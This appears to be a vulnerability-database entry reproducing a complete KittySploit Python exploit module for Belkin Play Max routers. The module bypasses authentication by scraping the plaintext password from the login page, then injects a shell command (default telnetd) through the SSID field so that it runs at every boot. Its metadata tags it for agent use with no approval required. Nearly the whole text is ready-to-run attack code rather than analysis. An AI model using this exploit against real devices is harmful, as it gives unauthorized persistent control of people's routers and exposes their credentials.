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Belkin Play Max Persistent RCE

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
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Unauthenticated persistent RCE in Belkin Play Max via SSID injection.

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Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Belkin Play Max Persistent RCE"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Belkin Play Max Persistent RCE',
        'description': 'Module exploits Belkin SSID injection vuln, allowing to execute arbitrary command at every boot.',
        'author': ['BigNerd95 (Lorenzo Santina) https://github.com/bignerd95'],
        
        'platform': Platform.LINUX,
        'references': ['https://bignerd95.blogspot.it/2017/02/belkin-play-max-persistent-remote.html', 'https://gist.github.com/BigNerd95/c18658b472ac0ccf4dbbc73fe988b683'],
        'tags': ['iot', 'router', 'unauth', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    cmd = OptString("telnetd", "Command to execute")

    def auth_bypass(self):
        response = self.http_request(
            method="GET",
            path="/login.stm",
        )
        if response is None:
            return False

        val = re.findall(r'password\s?=\s?"(.+?)"', response.text)  # in some fw there are no spaces

        if len(val):
            payload = "pws=" + val[0] + "&arc_action=login&action=Submit"

            login = self.http_request(
                method="POST",
                path="/login.cgi",
                data=payload
            )
            if login is None:
                return False

            error = re.search('loginpserr.stm', login.text)

            if not error:
                print_success("Exploit success, you are now logged in!")
                return True

        print_error("Exploit failed. Device seems to be not vulnerable.")
        return False
    def inject_command(self):
        response = self.http_request(
            method="GET",
            path="/wireless_id.stm",
        )
        if response is None:
            print_error("Exploit failed. No response from target!")
            return

        srcSSID = re.search(r"document\.tF\['ssid'\]\.value=\"(.*)\";", response.text)
        if srcSSID:
            SSID = srcSSID.group(1)
        else:
            print_error("Exploit failed. Are you logged in?")
            return

        if len(SSID) + 2 + len(self.cmd) > 32:
            newlen = 32 - len(self.cmd) - 2
            SSID = SSID[0:newlen]
            print_status("SSID too long, it will be truncated to: " + SSID)

        newSSID = SSID + "%3B" + self.cmd + "%3B"

        payload = "page=radio.asp&location_page=wireless_id.stm&wl_bssid=&wl_unit=0&wl_action=1&wl_ssid=" + newSSID + "&arc_action=Apply+Changes&wchan=1&ssid=" + newSSID
        response = self.http_request(
            method="POST",
            path="/apply.cgi",
            data=payload,
        )

        if response is None:
            print_error("Exploit failed. No response from target!")
            return

        err = re.search(r'countdown\(55\);', response.text)
        if err:
            print_success("Exploit success, wait until router reboot.")
        else:
            print_error("Exploit failed. Device seems to be not vulnerable.")
    def run(self):
        if self.auth_bypass():
            self.inject_command()
    def check(self):
        response = self.http_request(
            method="GET",
            path="/login.stm",
        )
        if response is None:
            return False  # target is not vulnerable

        val = re.findall(r'password\s?=\s?"(.+?)"', response.text)  # in some fw there are no spaces

        if len(val):
            return True  # target is vulnerable

        return False  # target is not vulnerable

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19 Aug 2026 05:37Current
6.7Medium risk
Vulners AI Score6.7
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